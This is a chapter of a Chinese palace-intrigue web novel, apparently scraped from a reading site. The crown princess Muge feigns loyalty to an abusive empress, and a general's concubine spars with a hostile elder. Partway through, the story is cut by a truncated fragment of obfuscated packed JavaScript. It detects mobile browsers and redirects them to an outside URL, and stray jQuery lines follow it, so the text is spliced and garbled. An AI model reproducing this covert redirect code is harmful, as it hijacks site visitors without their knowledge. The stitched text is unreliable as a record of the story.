第175章:一张如花似玉的脸,毁掉多可惜

作品:《杀死将军妾

    “哼,有什么好解释的。”


    “钱暮歌,本宫万万没想到,你是一个心肠歹毒的白眼狼,枉本宫心软将你从厉贵妃那个火坑里救出来,本宫就该眼睁睁看着你烧死……”


    皇后娘娘骂完,犹不解气,若不是身子虚弱,她定会抽烂暮歌的嘴,让她痛彻领悟敢算计太子的下场。


    “太医说,母后您郁结于心,只要您宣泄出心中的不快,您的病很快痊愈。”


    “儿媳不痛。”


    “儿媳无怨。”


    暮歌的额头一片红肿,眼里无半分怨怼。


    皇后娘娘心下一怔,难道?


    难道是她误会了暮歌?


    “母后,儿媳如今是东宫太子妃,将来是皇后。”


    “儿媳心里,知轻重。”


    “儿媳明白,想要什么。”


    “儿媳所用计策,看似损害太子殿下的名声,实则助太子殿下回宫。”


    果然,皇后娘娘神色渐松,又禁不住得意,她成功洗脑了暮歌,十足拿捏。


    皇后娘娘:梦做得挺美,可惜是黄粱美梦。


    皇后娘娘的神色变化,暮歌尽收眼底,身体疼痛已麻木,心里恨意却如浪潮翻涌。


    “起来吧。”皇后娘娘语气责怪,她不能有错,错的都是旁人。


    “暮歌,本宫疼你护你,并非要求你感恩,而是成全本宫和你这一世的‘母女情缘’。”


    “不然,以你的出身,如何能配得上太子。”


    “暮歌,你得记住,唯有太子,能给你太子妃的尊贵身份。唯有本宫,你的太子妃之位才能坐得稳当。”


    皇后娘娘看到暮歌额头的红肿,心里满意,嘴上却埋怨:“你看看你,磕头那么实诚做甚?一张如花似玉的脸,毁容多可惜。”


    比这十倍的痛,暮歌已经历过,是太子那个魔鬼给的。


    无数个午夜梦回,暮歌被噩梦魇住,那是一条又黑又潮湿的路,看不到尽头,也走不到终点。


    那一路上,她遇见的皆是恶人,他们联手将她推入深渊,却无耻地以救世主或恩人姿态自居。


    真当她又蠢又傻?


    没有人会对她好。


    她存在的意义,是被人利用,被人掌控,被人害死……她已承受太多恶意。


    是徐慧珠说服了她,女子一生本就艰难,与其信赖旁人,不如依靠自己。


    因为,唯有自己,会真心实意、长长久久爱自己。


    绝无背叛。


    “是儿媳的错。”


    “是儿媳未说清楚,惹得母后误会。母后也是心疼太子殿下,一片慈母情意,儿媳感动又羡慕。”


    “儿媳何其幸运,成为太子妃……”


    暮歌起身,规规矩矩站在床榻边,眼里尽是恭敬柔顺之色。


    在皇后娘娘看来,不管她如何言语辱骂或殴打暮歌,暮歌已被她训练成一条愚忠的狗,摇晃尾巴称赞“主人”骂得好打得好。


    **嘛,骨血里就是贱。


    瞧见皇后娘娘眼里的纠结,暮歌再添一把柴火,“母后您想啊,两个月的时间,太子殿下不在东宫,您一人苦苦支撑,既得应付厉贵妃,还得防备大皇子……”


    “再说,太子殿下伤了大将军是皇上亲眼瞧见的事实。”


    “何不转移皇上心里的怒火?”


    “自古以来,君王都不喜‘兄弟相残’。这回,让太子殿下暂且忍耐,委屈太子殿下演一出受害者的戏。”


    “母后,儿媳愿为您解忧。”


    暮歌在皇后娘娘面前并未隐藏惧怕太子的情绪,当初太子殴打暮歌,怎一个惨目忍睹了得。若非暮歌出身钱氏,太子德行恶劣,姜夜沉暗里使力,皇上才会许以太子妃补偿。


    唯有将暮歌强行拉入东宫势力,可护住其性命。


    暮歌是受害者,可她也是太子暴虐的实证。


    皇后娘娘绝不会让暮歌活着,唯有**,才威胁不到太子半分。


    至于暮歌的亲人,上至厉贵妃和大皇子李明远,再到家里父母,都是希望她**更好些。


    以她的死,换取更多利益。


    将军府里。


    巫医黑崖满目寒霜,语气不善,“姜夜沉,我和你有事商谈,外人回避。”


    这里的外人,指名道姓徐慧珠。


    对黑崖这位长辈,徐慧珠第一印象极差。


    “将军,我去药房。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989597|188170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >徐慧珠正欲起身,却被姜夜沉捉住手。


    “黑崖师叔人在溟山,不知外间事。”


    “慧珠是我的夫人,将军府的女主人。”


    “黑崖师叔,这回,我就原谅您的无理。”


    姜夜沉与黑崖目光对视,并无惧色。


    他们之间的关系本就冷淡至极,说是仇人不为过。


    当然,是黑崖单方面视姜夜沉为仇人,他再敢摆长辈姿态,不要脸面又可笑。


    “将军府的女主人?”


    黑崖冷笑道,“一介妾室?”


    “将军府倒是好大的规矩,让妾室掌家?丢脸至极!”


    “姜夜沉,你在战场上,也是这般糊涂,随意任命伙兵打前锋不成?”


    此言一出,可见将军府发生的事情,不说黑崖了解的事无巨细,但大致知情。


    “徐氏慧珠见过黑崖师叔。”徐慧珠被骂,脸上仍带笑意。


    “黑崖师叔好气魄,骂人都是当面骂,果然乃性情中人,品德高尚。”


    “打今日起,黑崖师叔就是慧珠心中敬仰之人。”


    黑崖骂姜夜沉,她徐慧珠心疼夫君,莫怪她回骂敬上。


    再说,她叫黑崖一声师叔,按照规矩,他不得给一份见面礼?


    她是姜夜沉的妾室没错,但黑崖有何资格羞辱她?


    “你……你?”黑崖万万没想到徐慧珠一个妾室,规矩差,脾气大,心眼多。


    “黑崖师叔有事便说,慧珠是我的夫人,怎是外人?”


    “说到外人?”


    姜夜沉顿了一下,说道,“黑崖师叔您远道而来,是客人。”


    “只是,我有一事不明,还请黑崖师叔解惑。”


    黑崖禁不住多看姜夜沉几眼,容貌和气息未变。


    何时变得话多?


    这人,是被夺魂夺魄了吗?


    姜夜沉才不会好心告诉黑崖一个道理:近朱者赤,受徐慧珠影响,他亦学会用言语伤人,甚至**。


    “黑崖师叔投靠大皇子殿下,是打算脱离溟山?划清界限?”


    “师父可知情?”


    黑崖的脸上染上几分慌乱,足以证明他的心里,此刻一片慌乱......